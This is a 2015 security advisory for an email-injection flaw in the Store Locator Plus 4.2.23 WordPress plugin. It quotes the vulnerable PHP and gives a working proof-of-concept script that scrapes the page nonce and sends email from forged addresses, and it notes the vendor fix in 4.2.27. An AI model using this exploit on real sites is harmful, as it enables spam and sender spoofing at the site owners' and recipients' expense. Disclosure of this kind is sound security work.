27-05-2015 / Vulnerabilities

Store Locator Plus 4.2.23 Email Injection

We can send email to anyone if we have valid nonce token.

File: store-locator-le\include\send-email.php

if (!wp_verify_nonce($_REQUEST['valid'],'em')) die();
$message_headers = 
    "From: \"{$_GET['email_name']}\" <{$_GET['email_from']}>\n" . 
    "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
wp_mail($_GET['email_to'],$_GET['email_subject'],$_GET['email_message'],$message_headers);

By default this token is displayed on every page, with [SLPLUS] tag.

File: store-locator-le\include\class.ui.php

$scriptData['ajaxurl']  = admin_url('admin-ajax.php');
$scriptData['nonce']    = wp_create_nonce('em');
// FILTER: slp_script_data
//
$scriptData = apply_filters('slp_script_data',$scriptData);        
wp_localize_script('csl_script' ,'slplus'   , $scriptData);

Proof of Concept

This can be used to send spam from a non-existent or a forged address.

<form method="post" action="">
    URL where map is displayed: <input type="text" name="tagurl"><br />
    WordPress home url: <input type="text" name="url"><br />
    To: <input type="text" name="email_to"><br />
    From name: <input type="text" name="email_name"><br />
    From email: <input type="text" name="email_from"><br />
    Subject: <input type="text" name="email_subject"><br />
    Message: <textarea name="email_message"></textarea>
    <input type="submit" name="send" value="Send!">
</form>
<?php
function sendEmail()
{
    $cookie = 'cookie.txt';
    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_POST['tagurl']);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($ch);
    if (preg_match('/var slplus =.*?"nonce":"([^"]+)"/i', $content, $match)) {
        $params = array('valid' => $match[1], 'email_to' => $_POST['email_to'], 'email_name' => $_POST['email_name'], 'email_from' => $_POST['email_from'], 'email_subject' => $_POST['email_subject'], 'email_message' => $_POST['email_message']);
        curl_setopt($ch, CURLOPT_URL, $_POST['url'] . '/wp-content/plugins/store-locator-le/include/send-email.php?'.http_build_query($params));
        $content = curl_exec($ch);
        if (preg_match('/self\.close/i', $content)) {
            echo "OK";
        } else {
            echo "Cannot send email";
        }
    } else {
        echo "Cannot get nonce";
    }
}
if (isset($_POST['send'])) {
    sendEmail();
}

Timeline

  • 05-01-2015: Discovered
  • 05-01-2015: Vendor notified
  • 17-01-2015: Version 4.2.27 released, issue resolved